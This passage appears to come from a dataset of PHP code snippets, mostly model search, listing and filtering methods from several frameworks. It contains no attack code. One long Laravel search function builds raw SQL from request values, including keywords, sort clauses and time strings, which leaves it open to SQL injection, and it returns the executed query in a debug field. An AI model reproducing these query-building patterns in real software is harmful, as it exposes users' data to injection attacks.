'Comments') {\n return $this->withoutChildren(Comment::search($request->searched)->take(20)->get());\n }\n\n if ($request->type == 'Users') {\n return User::search($request->searched)->take(20)->get();\n }\n } catch (\\Exception $exception) {\n app('sentry')->captureException($exception);\n\n return [];\n }\n }", "public function getReturnModels(){\r\n return array_values($this->models);\r\n }", "public function findAll()\n {\n $models = $this->getDoctrineRepository()->findAll();\n $this->events()->trigger(__FUNCTION__ . '.post', $this, array(\n 'model' => $models,\n 'om' => $this->getObjectManager())\n );\n return $models;\n }", "public function models();", "public function search($conditions)\n\t{\n\t\t$limit = (isset($conditions['limit']) && $conditions['limit'] !== null ? $conditions['limit'] : 10);\n\t\t$result = array();\n\t\t$alphabets = [];\n\n\t\tDB::enableQueryLog();\n\n\t\t$mem = new Memcached();\n\t\t$mem->addServer(env('memcached_server'), env('memcached_port'));\n\n\t\t/* Get Default Logo Link on setting_object table */\n\t\t$logoMem = $mem->get('logo_course');\n\n\t\tif ($logoMem)\n\t\t{\n\t\t\t$default_logo = $logoMem;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$default_logo = $this->getDefaultLogo();\n\t\t\t$mem->set('logo_course', $default_logo);\n\t\t}\n\n\t\tif (isset($conditions['alphabet']) && $conditions['alphabet'] !== null && sizeof($conditions['alphabet']) > 0) {\n\t\t\tforeach ($conditions['alphabet'] as $item) {\n\t\t\t\t$alphabets[] = \"lower(entity.name) like \" . DB::Raw(\"'\" . strtolower($item) . \"%'\");\n\t\t\t\t$alphabets[] = \"lower(curriculum.name) like \" . DB::Raw(\"'\" . strtolower($item) . \"%'\");\n\t\t\t}\n\t\t}\n\n\t\t$extraGroup = (isset($conditions['sort']) && $conditions['sort'] !== null ? $conditions['sort'] : '' );\n\t\t$extraGroup = str_replace(' ASC', '',$extraGroup);\n\t\t$extraGroup = str_replace(' DESC', '',$extraGroup);\n\n\t\t$searchData = DB::table('course')\n\t\t\t->select('curriculum.curriculum_id','course.course_id', DB::raw('entity.logo entity_logo'), 'course.day_of_week',\n\t\t\t\tDB::raw('entity.name entity_name, curriculum.name curriculum_name'), 'course.time_start', 'course.time_end')\n\t\t\t->whereRaw(\n\t\t\t\t(isset($conditions['is_free_trial'])&& sizeof($conditions['is_free_trial']) > 0 ? \"course.is_free_trial in (\" . implode(\",\", $conditions['is_free_trial']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['country_id']) && $conditions['country_id'] !== null ? \"campus.country_id in (\" . implode(\",\",$conditions['country_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['city_id']) && $conditions['city_id'] !== null ? \"campus.city_id in (\" . implode(\",\",$conditions['city_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['location_id']) && $conditions['location_id'] !== null ? \"campus.location_id in (\" . implode(\",\",$conditions['location_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['activity_id']) && $conditions['activity_id'] !== null ? \"program.activity_id in (\" . implode(\",\",$conditions['activity_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['activity_classification_id']) && $conditions['activity_classification_id'] !== null ? \"activity.activity_classification_id in (\" . implode(\",\",$conditions['activity_classification_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['activity_type_id']) && $conditions['activity_type_id'] !== null ? \"activity_classification.activity_type_id in (\" . implode(\",\",$conditions['activity_type_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['event_type_id']) && $conditions['event_type_id'] !== null ? \"program.event_type_id in (\" . implode(\",\",$conditions['event_type_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['facility_id']) && $conditions['facility_id'] !== null ? \"campus.facility_id in (\" . implode(\",\",$conditions['facility_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['campus_id']) && $conditions['campus_id'] !== null ? \"campus_arena.campus_id in (\" . implode(\",\",$conditions['campus_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['program_id']) && $conditions['program_id'] !== null ? \"curriculum.program_id in (\" . implode(\",\",$conditions['program_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['arena_id']) && $conditions['arena_id'] !== null ? \"campus_arena.arena_id in (\" . implode(\",\",$conditions['arena_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['provider_id']) && $conditions['provider_id'] !== null ? \"program.provider_id in (\" . implode(\",\",$conditions['provider_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['user_id']) && $conditions['user_id'] !== null ? \"schedule.instructor_id in (\" . implode(\",\",$conditions['user_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['day_of_week']) && $conditions['day_of_week'] !== null ? \"course.day_of_week in (\" . implode(\",\",$conditions['day_of_week']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['time_start']) && $conditions['time_start'] !== null ? \"time(course.time_start) = time('\" . $conditions['time_start'] . \"') AND \" : '') .\n\t\t\t\t(isset($conditions['time_end']) && $conditions['time_end'] !== null ? \"time(course.time_end) = time('\" . $conditions['time_end'] . \"') AND \" : '') .\n\n\t\t\t\t(isset($conditions['audience_gender_id']) && $conditions['audience_gender_id'] !== null ? \"course.audience_gender_id in (\" . implode(\",\",$conditions['audience_gender_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['audience_generation_id']) && $conditions['audience_generation_id'] !== null ? \"course.audience_generation_id in (\" . implode(\",\",$conditions['audience_generation_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['age_range_top']) && $conditions['age_range_top'] !== null ? \"course.age_range_top >= \" . $conditions['age_range_top'] . \" AND \" : '') .\n\t\t\t\t(isset($conditions['age_range_bottom']) && $conditions['age_range_bottom'] !== null ? \"course.age_range_bottom <= \" . $conditions['age_range_bottom'] . \" AND \" : '') .\n\n\t\t\t\t(isset($conditions['keyword']) && sizeof($conditions['keyword']) > 0 ? \"(\" . implode(\" OR \", $conditions['keyword']) . \") AND \" : '') .\n\t\t\t\t(isset($alphabets) && sizeof($alphabets) > 0 ? \"(\" . join(\" OR \", $alphabets) . \") AND \" : '') .\n\t\t\t\t('course.status = 0')\n\t\t\t)\n\t\t\t->join('campus_arena', function($join){\n\t\t\t\t$join->on('course.campus_arena_id','campus_arena.campus_arena_id');\n\t\t\t\t//$join->on('course.arena_id', 'campus_arena.arena_id');\n\t\t\t})\n\t\t\t->leftjoin('campus', 'campus_arena.campus_id', 'campus.campus_id')\n\t\t\t->leftjoin('location', 'campus.location_id', 'location.location_id')\n\n\t\t\t->leftjoin('facility', function ($join) {\n\t\t\t\t$join->on('campus.facility_id','facility.facility_id');\n\t\t\t\t$join->on('campus.country_id','facility.country_id');\n\t\t\t})\n\n\t\t\t->leftjoin('curriculum', 'course.curriculum_id', 'curriculum.curriculum_id')\n\n\t\t\t->leftjoin('program','program.program_id','curriculum.program_id')\n\t\t\t->leftjoin('provider', 'program.provider_id', 'provider.provider_id')\n\t\t\t->leftjoin('entity','provider.entity_id','entity.entity_id')\n\t\t\t->leftjoin('event_type', 'program.event_type_id', 'event_type.event_type_id')\n\t\t\t/*->join('entity', 'provider.entity_id', 'entity.entity_id')*/\n\n\t\t\t->leftjoin('schedule', 'course.course_id', 'schedule.course_id')\n\t\t\t->leftjoin('user', 'schedule.instructor_id', 'user.user_id')\n\t\t\t->leftjoin('activity', 'program.activity_id', 'activity.activity_id')\n\t\t\t->leftjoin('activity_classification', 'activity_classification.activity_classification_id', 'activity.activity_classification_id')\n\t\t\t->groupBy(\n\t\t\t\tDB::raw('curriculum.curriculum_id, course.course_id, entity.logo, course.day_of_week, entity.name, curriculum.name, course.time_start, course.time_end' .\n\t\t\t\t\t(isset($conditions['sort']) && $conditions['sort'] !== null ? \", \" . $extraGroup : '' )\n\t\t\t\t)\n\t\t\t)\n\t\t\t->orderByRaw(isset($conditions['sort']) && $conditions['sort'] !== null ? $conditions['sort'] : 'course.day_of_week ASC, course.course_id DESC')\n\t\t\t->limit($limit)\n\t\t\t->offset(isset($conditions['page']) && $conditions['page'] !== null ? ($conditions['page']-1) * $limit : 0)\n\t\t\t->get();\n\n\t\t$searchAll = DB::table('course')\n\t\t\t->select('curriculum.curriculum_id','course.course_id', DB::raw('entity.logo entity_logo'), 'course.day_of_week',\n\t\t\t\tDB::raw('entity.name entity_name, curriculum.name curriculum_name'), 'course.time_start', 'course.time_end')\n\t\t\t->whereRaw(\n\t\t\t\t(isset($conditions['is_free_trial'])&& sizeof($conditions['is_free_trial']) > 0 ? \"course.is_free_trial in (\" . implode(\",\", $conditions['is_free_trial']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['country_id']) && $conditions['country_id'] !== null ? \"campus.country_id in (\" . implode(\",\",$conditions['country_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['city_id']) && $conditions['city_id'] !== null ? \"campus.city_id in (\" . implode(\",\",$conditions['city_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['location_id']) && $conditions['location_id'] !== null ? \"campus.location_id in (\" . implode(\",\",$conditions['location_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['activity_id']) && $conditions['activity_id'] !== null ? \"program.activity_id in (\" . implode(\",\",$conditions['activity_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['activity_classification_id']) && $conditions['activity_classification_id'] !== null ? \"activity.activity_classification_id in (\" . implode(\",\",$conditions['activity_classification_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['activity_type_id']) && $conditions['activity_type_id'] !== null ? \"activity_classification.activity_type_id in (\" . implode(\",\",$conditions['activity_type_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['event_type_id']) && $conditions['event_type_id'] !== null ? \"program.event_type_id in (\" . implode(\",\",$conditions['event_type_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['facility_id']) && $conditions['facility_id'] !== null ? \"campus.facility_id in (\" . implode(\",\",$conditions['facility_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['campus_id']) && $conditions['campus_id'] !== null ? \"campus_arena.campus_id in (\" . implode(\",\",$conditions['campus_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['program_id']) && $conditions['program_id'] !== null ? \"curriculum.program_id in (\" . implode(\",\",$conditions['program_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['arena_id']) && $conditions['arena_id'] !== null ? \"campus_arena.arena_id in (\" . implode(\",\",$conditions['arena_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['provider_id']) && $conditions['provider_id'] !== null ? \"program.provider_id in (\" . implode(\",\",$conditions['provider_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['user_id']) && $conditions['user_id'] !== null ? \"schedule.instructor_id in (\" . implode(\",\",$conditions['user_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['day_of_week']) && $conditions['day_of_week'] !== null ? \"course.day_of_week in (\" . implode(\",\",$conditions['day_of_week']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['time_start']) && $conditions['time_start'] !== null ? \"time(course.time_start) = time('\" . $conditions['time_start'] . \"') AND \" : '') .\n\t\t\t\t(isset($conditions['time_end']) && $conditions['time_end'] !== null ? \"time(course.time_end) = time('\" . $conditions['time_end'] . \"') AND \" : '') .\n\n\t\t\t\t(isset($conditions['audience_gender_id']) && $conditions['audience_gender_id'] !== null ? \"course.audience_gender_id in (\" . implode(\",\",$conditions['audience_gender_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['audience_generation_id']) && $conditions['audience_generation_id'] !== null ? \"course.audience_generation_id in (\" . implode(\",\",$conditions['audience_generation_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['age_range_top']) && $conditions['age_range_top'] !== null ? \"course.age_range_top >= \" . $conditions['age_range_top'] . \" AND \" : '') .\n\t\t\t\t(isset($conditions['age_range_bottom']) && $conditions['age_range_bottom'] !== null ? \"course.age_range_bottom <= \" . $conditions['age_range_bottom'] . \" AND \" : '') .\n\n\t\t\t\t(isset($conditions['keyword']) && sizeof($conditions['keyword']) > 0 ? \"(\" . implode(\" OR \", $conditions['keyword']) . \") AND \" : '') .\n\t\t\t\t(isset($alphabets) && sizeof($alphabets) > 0 ? \"(\" . join(\" OR \", $alphabets) . \") AND \" : '') .\n\t\t\t\t('course.status = 0')\n\t\t\t)\n\t\t\t->join('campus_arena', function($join){\n\t\t\t\t$join->on('course.campus_arena_id','campus_arena.campus_arena_id');\n\t\t\t\t//$join->on('course.arena_id', 'campus_arena.arena_id');\n\t\t\t})\n\t\t\t->leftjoin('campus', 'campus_arena.campus_id', 'campus.campus_id')\n\t\t\t->leftjoin('location', 'campus.location_id', 'location.location_id')\n\n\t\t\t->leftjoin('facility', function ($join) {\n\t\t\t\t$join->on('campus.facility_id','facility.facility_id');\n\t\t\t\t$join->on('campus.country_id','facility.country_id');\n\t\t\t})\n\n\t\t\t->leftjoin('curriculum', 'course.curriculum_id', 'curriculum.curriculum_id')\n\n\t\t\t->leftjoin('program','program.program_id','curriculum.program_id')\n\t\t\t->leftjoin('provider', 'program.provider_id', 'provider.provider_id')\n\t\t\t->leftjoin('entity','provider.entity_id','entity.entity_id')\n\t\t\t->leftjoin('event_type', 'program.event_type_id', 'event_type.event_type_id')\n\t\t\t/*->join('entity', 'provider.entity_id', 'entity.entity_id')*/\n\n\t\t\t->leftjoin('schedule', 'course.course_id', 'schedule.course_id')\n\t\t\t->leftjoin('user', 'schedule.instructor_id', 'user.user_id')\n\t\t\t->leftjoin('activity', 'program.activity_id', 'activity.activity_id')\n\t\t\t->leftjoin('activity_classification', 'activity_classification.activity_classification_id', 'activity.activity_classification_id')\n\t\t\t//->groupBy('course.course_id','schedule.instructor_id','curriculum.curriculum_id','entity.logo', 'course.day_of_week','entity.name','curriculum.name','course.time_start', 'course.time_end','event_type.name')\n\t\t\t->groupBy(\n\t\t\t\tDB::raw('curriculum.curriculum_id, course.course_id, entity.logo, course.day_of_week, entity.name, curriculum.name, course.time_start, course.time_end' .\n\t\t\t\t\t(isset($conditions['sort']) && $conditions['sort'] !== null ? \", \" . $extraGroup : '' )\n\t\t\t\t)\n\t\t\t)\n\t\t\t->orderByRaw(isset($conditions['sort']) && $conditions['sort'] !== null ? $conditions['sort'] : 'course.day_of_week ASC, course.course_id DESC')\n\t\t\t->get();\n\n\t\t//echo(\"<br>Total : \" . sizeof($searchData) . \" records\");\n\t\tforeach ($searchData as $data) {\n\t\t\t/*echo('<br>' . $data->program_id . '|' . $data->program_name . '|'. $data->activity_id . '|' . $data->provider_name . '|' . $data->location_name);*/\n\t\t\t//echo('<br>' . $data->provider_id . '|' . $data->provider_name . '|' . $data->location_name);\n\n\n\t\t\t$day = DB::table('day_of_week')->where('day_of_week.day_of_week_id',$data->day_of_week)->first();\n\t\t\t$day = DB::table('day_of_week')->where('day_of_week.day_of_week_id',$data->day_of_week)->first();\n\n\n\t\t\t//echo('<br>' . $data->course_id . \"~\" . $data->program_name . '#'.$day->name. \"|\". date('h:i',strtotime($data->time_start)) . '-' .date('h:i',strtotime($data->time_end)));\n\t\t\t$item = ['course_id' => $data->course_id,\n\t\t\t\t'entity_logo' => ($data->entity_logo ? $data->entity_logo : $default_logo),\n\t\t\t\t'entity_name' => $data->entity_name,\n\t\t\t\t'curriculum_name' => $data->curriculum_name,\n\t\t\t\t'day_name' => $day->name,\n\t\t\t\t'time_start' => date('H:i',strtotime($data->time_start)),\n\t\t\t\t'time_end' => date('H:i',strtotime($data->time_end))];\n\n\t\t\t/*$schedules = DB::table('schedule')\n\t\t\t\t->select('schedule.schedule_id', 'program.name')\n\t\t\t\t->join('program', 'program.program_id', 'curriculum.program_id')\n\t\t\t\t->where('curriculum.curriculum_id', $data->curriculum_id)\n\t\t\t\t->orderBy('program.activity_id', 'DESC')\n\t\t\t\t->get();\n\n\t\t\tforeach ($schedules as $schedule) {\n\t\t\t\t//echo($program->program_id . '|' . $program->name );\n\t\t\t}*/\n\n\t\t\t$programs = DB::table('curriculum')\n\t\t\t\t->select('program.program_id', 'program.name')\n\t\t\t\t->join('program', 'program.program_id', 'curriculum.program_id')\n\t\t\t\t->where('curriculum.curriculum_id', $data->curriculum_id)\n\t\t\t\t->orderBy('program.activity_id', 'DESC')\n\t\t\t\t->get();\n\n\t\t\t$searchActivities = [];\n\t\t\tforeach ($programs as $program) {\n\t\t\t\t//echo($program->program_id . '|' . $program->name );\n\t\t\t\t$activities = DB::table('program')\n\t\t\t\t\t->select('activity.logo', 'program.provider_id', DB::raw('program.name program_name'))\n\t\t\t\t\t->join('activity', 'program.activity_id', 'activity.activity_id')\n\t\t\t\t\t->leftjoin('activity_classification', 'activity.activity_classification_id', 'activity_classification.activity_classification_id')\n\t\t\t\t\t->where('program.program_id', $program->program_id)\n\t\t\t\t\t->whereRaw(\n\t\t\t\t\t\t(isset($conditions['activity_id']) && $conditions['activity_id'] !== null ? \"program.activity_id in (\" . implode(\",\",$conditions['activity_id']) . \") AND \" : '') .\n\t\t\t\t\t\t(isset($conditions['activity_classification_id']) && $conditions['activity_classification_id'] !== null ? \"activity.activity_classification_id in (\" . implode(\",\",$conditions['activity_classification_id']) . \") AND \" : '') .\n\t\t\t\t\t\t(isset($conditions['activity_type_id']) && $conditions['activity_type_id'] !== null ? \"activity_classification.activity_type_id in (\" . implode(\",\",$conditions['activity_type_id']) . \") AND \" : '') .\n\t\t\t\t\t\t('program.status = 0')\n\t\t\t\t\t)\n\t\t\t\t\t//->groupBy('activity.logo')\n\t\t\t\t\t->get();\n\n\t\t\t\tforeach ($activities as $activity) {\n\t\t\t\t\t//echo('<img src=\"' . $activity->logo . '\" style=\"width:2%;\" alt=\"' . $activity->program_name . '\" title=\"' . $activity->program_name . '\">');\n\t\t\t\t\t$searchActivity = [\n\t\t\t\t\t\t'logo' => $activity->logo,\n\t\t\t\t\t\t'name' => $activity->program_name,\n\t\t\t\t\t];\n\t\t\t\t\tarray_push($searchActivities, $searchActivity);\n\t\t\t\t}\n\t\t\t}\n\t\t\tarray_push($result, array('item' => $item, 'activity' => $searchActivities));\n\t\t}\n\n\t\t$final = array('totalPage' => ceil(sizeof($searchAll)/$limit), 'total' => ( sizeof($searchAll) > 0 ? sizeof($searchAll) : 0), 'result' => $result, 'debug' => DB::getQueryLog()[0]['query']);\n\t\treturn $final;\n\t}", "public function searchAction() {\n\t\t$modelName = $this->_getParam('model');\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$this->view->cols = $model->info('cols');\n\t\t$this->view->model = $this->_getParam('model');\n\t\t$this->view->config = Marcel_Backoffice_Config::getInstance()->getConfig();\n\t\t\n\t\tif ($this->_request->isPost()) {\n\t\t\t$fields = array();\n\t\t\t$func \t= array();\n\t\t\t$query \t= array();\n\t\t\tforeach ($_POST['query'] as $key => $q) {\n\t\t\t\tif (isset($_POST['fields'][$key]) && !empty($_POST['fields'][$key])) {\n\t\t\t\t\t$fields[$key] = $_POST['fields'][$key];\n\t\t\t\t\t$func[$key] \t= $_POST['func'][$key];\n\t\t\t\t\t$query[$key] \t= $_POST['query'][$key];\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data = array('fields' => $fields, 'func' => $func, 'query' => $query);\n\t\t\t$data = serialize($data);\n\t\t\t$this->_helper->redirector('list', null, null, array('model' => $modelName, 'data' => $data));\n\t\t}\n\t}", "public function all()\n {\n return $this->model->get();\n }", "public function master_search() {\r\n $this->db->join(\r\n '__Vehicles', \r\n '__Vehicles.__ContactId = ' . $this->table_name. '.' . $this->contactId_fieldname ,\r\n 'left outer'\r\n ); \r\n return $this->get();\r\n }", "public function getList()\n {\n return $this->model->getList();\n }", "public function getItemsBy($params = false)\n {\n $query = $this->model->query();\n\n /*== RELATIONSHIPS ==*/\n if (in_array('*', $params->include)) {//If Request all relationships\n $query->with([]);\n } else {//Especific relationships\n $includeDefault = [];//Default relationships\n if (isset($params->include))//merge relations with default relationships\n $includeDefault = array_merge($includeDefault, $params->include);\n $query->with($includeDefault);//Add Relationships to query\n }\n\n /*== FILTERS ==*/\n if (isset($params->filter)) {\n $filter = $params->filter;//Short filter\n\n //Filter by date\n if (isset($filter->date)) {\n $date = $filter->date;//Short filter date\n $date->field = $date->field ?? 'created_at';\n if (isset($date->from))//From a date\n $query->whereDate($date->field, '>=', $date->from);\n if (isset($date->to))//to a date\n $query->whereDate($date->field, '<=', $date->to);\n }\n\n //Order by\n if (isset($filter->order)) {\n $orderByField = $filter->order->field ?? 'position';//Default field\n $orderWay = $filter->order->way ?? 'desc';//Default way\n $query->orderBy($orderByField, $orderWay);//Add order to query\n }\n\n // Filter By Menu\n if (isset($filter->menu)) {\n $query->where('menu_id', $filter->menu);\n }\n\n //add filter by search\n if (isset($filter->search)) {\n //find search in columns\n $query->where(function ($query) use ($filter) {\n $query->whereHas('translations', function ($query) use ($filter) {\n $query->where('locale', $filter->locale)\n ->where('title', 'like', '%' . $filter->search . '%');\n })->orWhere('id', 'like', '%' . $filter->search . '%')\n ->orWhere('updated_at', 'like', '%' . $filter->search . '%')\n ->orWhere('created_at', 'like', '%' . $filter->search . '%');\n });\n }\n\n }\n\n /*== FIELDS ==*/\n if (isset($params->fields) && count($params->fields))\n $query->select($params->fields);\n\n /*== REQUEST ==*/\n if (isset($params->page) && $params->page) {\n return $query->paginate($params->take);\n } else {\n $params->take ? $query->take($params->take) : false;//Take\n return $query->get();\n }\n }", "public function getAll()\n {\n return $this->model->all();\n }", "public function getAll()\n {\n return $this->model->all();\n }", "public function getAll()\n {\n return $this->model->all();\n }", "public function findBy(array $filters);", "public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('model',$this->model,true);\n\t\t$criteria->compare('brand',$this->brand,true);\n\t\t$criteria->compare('status',$this->status,true);\n\t\t$criteria->compare('width',$this->width);\n\t\t$criteria->compare('height',$this->height);\n\t\t$criteria->compare('goods_thumb',$this->goods_thumb,true);\n\t\t$criteria->compare('goods_img',$this->goods_img,true);\n\t\t$criteria->compare('model_search',$this->model_search,true);\n\t\t$criteria->compare('brand_search',$this->brand_search,true);\n\t\t$criteria->compare('brand2',$this->brand2,true);\n\t\t$criteria->compare('brand2_search',$this->brand2_search,true);\n\t\t$criteria->compare('brand3',$this->brand3,true);\n\t\t$criteria->compare('brand3_search',$this->brand3_search,true);\n\t\t$criteria->compare('brand4',$this->brand4,true);\n\t\t$criteria->compare('brand4_search',$this->brand4_search,true);\n\t\t$criteria->compare('model2',$this->model2,true);\n\t\t$criteria->compare('model2_search',$this->model2_search,true);\n\t\t$criteria->compare('model3',$this->model3,true);\n\t\t$criteria->compare('model3_search',$this->model3_search,true);\n\t\t$criteria->compare('model4',$this->model4,true);\n\t\t$criteria->compare('model4_search',$this->model4_search,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function getList($params = [])\n {\n $model = $this->prepareModel();\n return $model::all();\n }", "abstract protected function getSearchModelName(): string;", "public function getItemsCriteria() {}", "public function getItemsCriteria() {}", "public function getFilters();", "public static function getList(array $filters){\n return self::model()->findAllByAttributes($filters);\n }", "public function getSearch();", "public function search()\n {\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('url', $this->url);\n $criteria->compare('type', $this->type);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => array('pageSize' => 100),\n ));\n }", "public function actionList() {\n switch ($_GET['model']) {\n case 'Product':\n $models = Product::model()->findAll();\n break;\n case 'Vendor':\n $models = Vendor::model()->findAll();\n break;\n case 'FavoriteProduct':\n $models = FavoriteProduct::model()->findAll();\n break;\n case 'Order':\n $models = Order::model()->findAll();\n break;\n case 'Rating':\n $models = Rating::model()->findAll();\n break;\n case 'Review':\n $models = Review::model()->findAll();\n break;\n case 'UserAddress':\n $models = UserAddress::model()->findAll();\n break;\n case 'OrderDetail':\n $models = OrderDetail::model()->findAll();\n break;\n default:\n $this->_sendResponse(0, 'You have pass invalid modal name');\n Yii::app()->end();\n }\n // Did we get some results?\n if (empty($models)) {\n // No\n $this->_sendResponse(0, 'No Record found ');\n } else {\n // Prepare response\n $rows = array();\n $i = 0;\n foreach ($models as $model) {\n $rows[] = $model->attributes;\n if ($_GET['model'] == 'Order') {\n $rows[$i]['cart_items'] = Product::model()->getProducts($model->product_id);\n $rows[$i]['order_detail'] = OrderDetail::model()->findAll(array('condition' => 'order_id ='.$model->id));\n }\n $i = $i + 1;\n }\n // Send the response\n $this->_sendResponse(1, '', $rows);\n }\n }", "static public function filterData($model_name)\n {\n $query = \"{$model_name}Query\";\n $objects = $query::create()->find();\n \n if ($objects != null) {\n\n $array = array();\n foreach ($objects as $object) {\n $array[$object->getId()] = $object->__toString();\n }\n\n return $array;\n } else {\n return array();\n }\n }", "public static function getList(string $filter='')\n {\n $query = self::with(['product','insuredPerson','agency'])->whereNotNull('n_OwnerId_FK');\n\n $filterArray = json_decode(request('filter'));\n\n if (is_object($filterArray)) {\n foreach($filterArray as $key=>$value) {\n if (empty($value)) {\n continue;\n }\n if (is_array($value)) {\n $query->whereIn($key, $value);\n continue;\n }\n $query->where($key, 'like', \"%$value%\");\n }\n }\n return $query;\n }", "public function getCriteria();", "public static function getSearchable()\n {\n return [\n 'columns' => [],\n 'joins' => [\n \n ]\n ];\n }", "static function filter($model) {\n $cond = Session::get('filter', strtolower($model->source));\n $param = array(\n /* Relaciones */\n 'rel' => array(\n '=' => 'Igual',\n 'LIKE' => 'Parecido',\n '<>' => 'Diferente',\n '<' => 'Menor',\n '>' => 'Mayor'\n ),\n 'col' => array_diff($model->fields, $model->_at, $model->_in, $model->primary_key),\n 'model' => $model,\n 'cond' => $cond\n );\n ob_start();\n View::partial('backend/filter', false, $param);\n return ob_get_clean();\n }", "public function findByModelName($model_name);", "abstract public function getFieldsSearchable();", "function _get_by_related($model, $arguments = array())\r\n\t{\r\n\t\tif ( ! empty($model))\r\n\t\t{\r\n\t\t\t// Add model to start of arguments\r\n\t\t\t$arguments = array_merge(array($model), $arguments);\r\n\t\t}\r\n\r\n\t\t$this->_related('where', $arguments);\r\n\r\n\t\treturn $this->get();\r\n\t}", "public static function getModels()\n\t{\n\t\t$result = [];\n\t\t$path = __DIR__ . DIRECTORY_SEPARATOR . 'model' . DIRECTORY_SEPARATOR;\n\t\t$Iterator = new RecursiveDirectoryIterator($path);\n\t\t$objects = new RecursiveIteratorIterator($Iterator, RecursiveIteratorIterator::SELF_FIRST);\n\t\tforeach ($objects as $name => $object)\n\t\t{\n\t\t\tif (strtolower(substr($name, -4) != '.php'))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$name = strtolower(str_replace($path, '', substr($name, 0, strlen($name) - 4)));\n\t\t\t$name = str_replace(DIRECTORY_SEPARATOR, '\\\\', $name);\n\t\t\t$name = 'Model\\\\' . ucwords($name, '\\\\');\n\t\t\tif (class_exists($name))\n\t\t\t{\n\t\t\t\t$result[]= $name;\n\t\t\t}\n\t\t}\n\t\treturn $result;\n\t}", "public function autocomplete_search() {\n\tif (!empty($this->request->query['term'])) {\n\t $model = Inflector::camelize(Inflector::singularize($this->request->params['controller']));\n\t $my_models = $this->$model->find('all', array(\n\t\t 'conditions' => array($model . '.name LIKE' => $this->request->query['term'] . '%'),\n\t\t 'limit' => 10,\n\t\t 'contain' => false,\n\t\t\t ));\n\t $json_array = array();\n\t foreach ($my_models as $my_model) {\n\t\t$json_array[] = $my_model[$model];\n\t }\n\t $json_str = json_encode($json_array);\n\t $this->autoRender = false;\n\t return $json_str;\n\t}\n }", "public function getListQuery();", "public function getList()\n {\n $filter = $this->getEvent()->getRouteMatch()->getParam('filter', null);\n return $this->getService()\n ->getList($filter);\n }", "public function search($model, $request)\n {\n $search = filter_var($request->get('search'), FILTER_SANITIZE_STRING);\n\n // Get optional filters\n // FILTER: GEOLOCATION\n if($request->input('location')) {\n $location = filter_var($request->get('location'), FILTER_SANITIZE_STRING);\n }\n if($request->input('geo_lat')) {\n $geo_lat = filter_var($request->get('geo_lat'), FILTER_SANITIZE_STRING);\n $geo_lng = filter_var($request->get('geo_lng'), FILTER_SANITIZE_STRING);\n }\n\n /**\n * Get current page number for location manual Pagination\n */\n $page = $request->get('page') ? $request->get('page') : 1;\n\n\n // Location first, since it's a special query\n if(isset($geo_lat) && isset($geo_lng)) {\n \n $location_data = Posts::location($geo_lat, $geo_lng, $search, 25, 100); \n\n // Hard and dirty search function through collection\n // since search with location method doesn't work still\n if($search !== '') {\n $location_data = $location_data->filter(function ($item) use ($search) {\n return stripos($item->name, $search) !== false;\n });\n }\n\n // Paginate results because location method can't\n $paginate = new Paginate;\n return $paginate->paginate($location_data, 15, $page, [\n 'path' => '/search/'\n ]);\n\n } \n // Section selection handler (brands/shops/prods/strains)\n elseif($search)\n {\n return $model->where('name', 'like', \"%$search%\");\n }\n\n }", "public function getWorkFlowModels()\n {\n return $this->postRequest('GetWorkFlowModels');\n }", "private function _getAllModels(): array {\n\t\t$models = Array();\n\t\t$folder = Environment::$dirs->models;\n\t\t$files = array_diff(scandir($folder), array('.', '..'));\n\t\tforeach ($files as $fileName) {\n\t\t\tinclude_once($folder.DIRECTORY_SEPARATOR.$fileName);\n\t\t\t$className = basename($fileName, \".php\");\n\t\t\t$classNameNamespaced = \"\\\\Jeff\\\\Api\\\\Models\\\\\" . ucfirst($className);\n\t\t\t$model = new $classNameNamespaced($this->db, $this->account);\n\t\t\t$models[$model->modelNamePlural] = $model;\n\t\t}\n\t\treturn $models;\n\t}", "function 